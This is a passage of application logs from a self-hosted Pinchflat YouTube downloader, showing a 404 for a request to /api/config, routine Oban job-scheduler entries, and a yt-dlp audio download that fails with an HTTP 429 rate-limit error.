"navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "172.71.30.221"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHoZGVfhvhWwAAW5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea588de1d2-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "zmzteaca4af697lg.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "172.71.30.221", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 28, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3727.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40306}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200fdea588de1d2-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "zmzteaca4af697lg.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "s (truncated) 02:50:48.083 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.522 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:18.085 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:48.086 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.523 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:18.087 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:48.088 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.524 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:18.089 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:48.090 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.525 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:18.091 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:48.092 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.526 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:18.093 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:48.094 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.527 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:18.095 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:48.097 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.528 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:18.098 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:48.099 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.529 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:18.100 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:48.101 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.530 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:18.102 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:48.103 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.531 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:18.105 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:48.106 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.532 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:18.107 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:48.108 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.533 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:18.109 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:48.110 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.534 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:18.111 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:48.112 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.535 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:13.743 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784876653743303876,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:04:13.744 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=152.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 03:04:13.744 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:04:13.745 [debug] QUERY OK source="sources" db=0.4ms idle=19.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:04:13.746 [debug] QUERY OK source="media_profiles" db=0.3ms idle=20.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:04:13.747 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=21.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 03:04:13.749 [debug] QUERY OK source="media_metadata" db=0.2ms idle=6.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 03:04:13.749 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:04:13.750 [debug] QUERY OK source="settings" db=0.2ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:13.751 [debug] Running yt-dlp command for action: get_downloadable_status 03:04:13.752 [debug] QUERY OK source="settings" db=0.1ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:13.752 [debug] QUERY OK source="settings" db=0.0ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:13.752 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:13.752 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/65/5f6501ec04ff479fa5bd93840f3b6c0197dc285d31387bc332bc5d2af9a51d50.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:04:15.736 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5f/65/5f6501ec04ff479fa5bd93840f3b6c0197dc285d31387bc332bc5d2af9a51d50.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:04:15.736 [debug] Running yt-dlp command for action: download 03:04:15.737 [debug] QUERY OK source="settings" db=0.3ms idle=143.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:15.737 [debug] QUERY OK source="settings" db=0.1ms idle=11.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:15.737 [debug] QUERY OK source="settings" db=0.1ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:15.737 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/57/6e/576e433702045f2cba1a4d634d9763a5385250f5860286090a166c56aa56b82b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:04:18.113 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:18.221 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/57/6e/576e433702045f2cba1a4d634d9763a5385250f5860286090a166c56aa56b82b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 03:04:18.221 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 03:04:18.457 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4478009,"event":"job:exception","queue_time":286963,"attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:04:48.114 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.536 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:18.115 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:48.116 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.537 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:18.117 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:48.119 [info] {"source":"oban","duration":848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.538 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:18.121 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:48.122 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.538 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:18.123 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:48.124 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.540 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:18.125 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:48.126 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.541 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:18.127 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:48.128 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.542 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:18.130 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:48.132 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.544 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:18.134 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:48.135 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.545 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:18.137 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:48.138 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.546 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:18.140 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:48.141 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.547 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:18.142 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:48.143 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.548 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:18.145 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:48.147 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.549 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:18.149 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:48.151 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.550 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:18.153 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:48.155 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.551 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:18.156 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:48.157 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.552 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:18.159 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:48.160 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.553 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:18.162 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:48.163 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.555 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:18.165 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:48.166 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.556 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:18.168 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:48.169 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.557 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:18.171 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:48.173 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.558 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:18.175 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:48.176 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.559 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:18.177 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:48.179 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.560 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:18.181 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:48.183 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.561 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:18.184 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:48.187 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.562 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:18.188 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:48.190 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.563 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:18.192 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:48.193 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.564 [info] 